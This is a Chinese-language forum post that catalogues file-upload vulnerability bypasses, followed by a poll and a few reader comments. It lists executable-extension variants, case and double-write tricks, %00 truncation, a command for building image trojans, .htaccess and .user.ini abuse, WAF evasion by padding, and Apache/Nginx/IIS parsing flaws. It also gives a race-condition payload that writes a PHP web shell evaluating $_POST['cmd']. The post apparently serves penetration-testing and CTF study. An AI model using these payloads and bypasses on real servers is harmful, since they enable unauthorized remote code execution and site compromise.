文件上传漏洞条件竞争容器版本解析漏洞总结

1.前端用js判断后端不检验,直接抓包绕过;

2.Content-type字段可以修改绕过;

3.危险可执行文件后缀:

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess

4.大小写绕过:.PHP

5.收尾去空去点 payload: 点+php+点+空格+点

6.str_isreplace()将特征值字符串替换成空,可使用双写绕过 .pphphp

7.GET上传文件,但上传路径可修改url后缀添加phpinfo.php%00绕过

8.POST上传文件,但上传文件路径可控 %00 要转编码

9.读文件字符串检测来判断文件类型检测方式,生成图片木马绕过

生成语句: copy logo.jpg/b+test.php/a test.jpg

10.文件内容检测 <? 判断

11.PUT协议上传文件,属于白给shell

Windows系统特性

1.文件名后缀加空格和加. windows自动过滤。

  1. ::$DATA是默认自动去除

Linux系统特性

1.Linux是根据文件文件头和文件内容判断文件类型,故只要文件中含有文件头,不管4字节和8字节均会被系统认为是图片文件。

逻辑漏洞(条件竞争):

1.文件上传到服务器rename修改文件后通过unlink删除文件;故可以直接burp一直提交另一边一直访问来生成导出shell;

Payload:

<?php fputs(fopen('shell.php','w'),'<[email protected]($_POST["cmd"])?>');?>

2.非白名单上传文件,判断过滤函数过多,即可大批量图片马来频繁丢包,导致他服务器列队溢出,实现文件上传

3.$file判断是否为数组,可以在文件内容中提前输入数组变量绕过。

4.针对云锁有针对用户体验感特性,用大量垃圾字符/11111111/填充,使文件过大超出他检测范围

5.htaccess apache的仿静态配置文件,可让jpg赋予php的执行权限

6.user.ini 为LAMP 在nginx环境下利用

①这里的.user.ini文件的意思就是将当前目录下所有的文件都包含进当前目录的php文件进行解析

②构造好.user,ini文件后,讲其改名为.user.ini

③上传图片马

④上传.user.ini

⑤访问php文件即可获得shell

函数特性:

str_isreplace(): 双写绕过

getimagesize(): 图片马绕过

Imagecreatefromgif(): 16进制传gif对比上传文件hex不变位置插马

exif_imagetype():

图片马

要设置.htaccess定义高宽

#define width 100

#define height 100

3.利用x00x00x8ax39x8ax39

文件解析漏洞特性:

Apache: xxx.php.jpg

文件解析是从右到左开始判断解析,如果文件的后缀为不可识别,就再往左判断故可上传文件名xxx.php.222绕过

Nginx: Xxx.jpg%00xx.php

Nginx(0.5.,0.6., 0.7 ~0.7.65, 0.8~0.8.37):

url/xx.jpg%00.php

url/a.jpg%00\0.php

IIS 5.x/6.0解析漏洞:xxx.asp;.jpg

IIS 6.0默认解析:asp、asa、cer、cdx 文件为执行文件

IIS 7.0/IIS 7.5/ Nginx <0.8.3 默认开始Fast-CGI url/xx.jpg/.php

  • 通过
  • 未通过

0 投票人

各位大佬 很认真的整理哟 会多发干货和渗透日记,CTF的wp 文章写的不好 不太会排版 但是内容绝对是精华

题目能不能加个逗号什么的 :stuck_out_tongue:

这是什么意思?

下次添加 这里的 多函数导致溢出 比如 文件校验 1.比如检测内容 比如检测hex 检测后缀 什么的 这样会占用很大的内存 传大文件 burpsuite可以超量发包 导致 内存溢出 后面的文件不校验 ,利用容器友好性校验机制 偷跑一部分的上传

是否可以举个例子?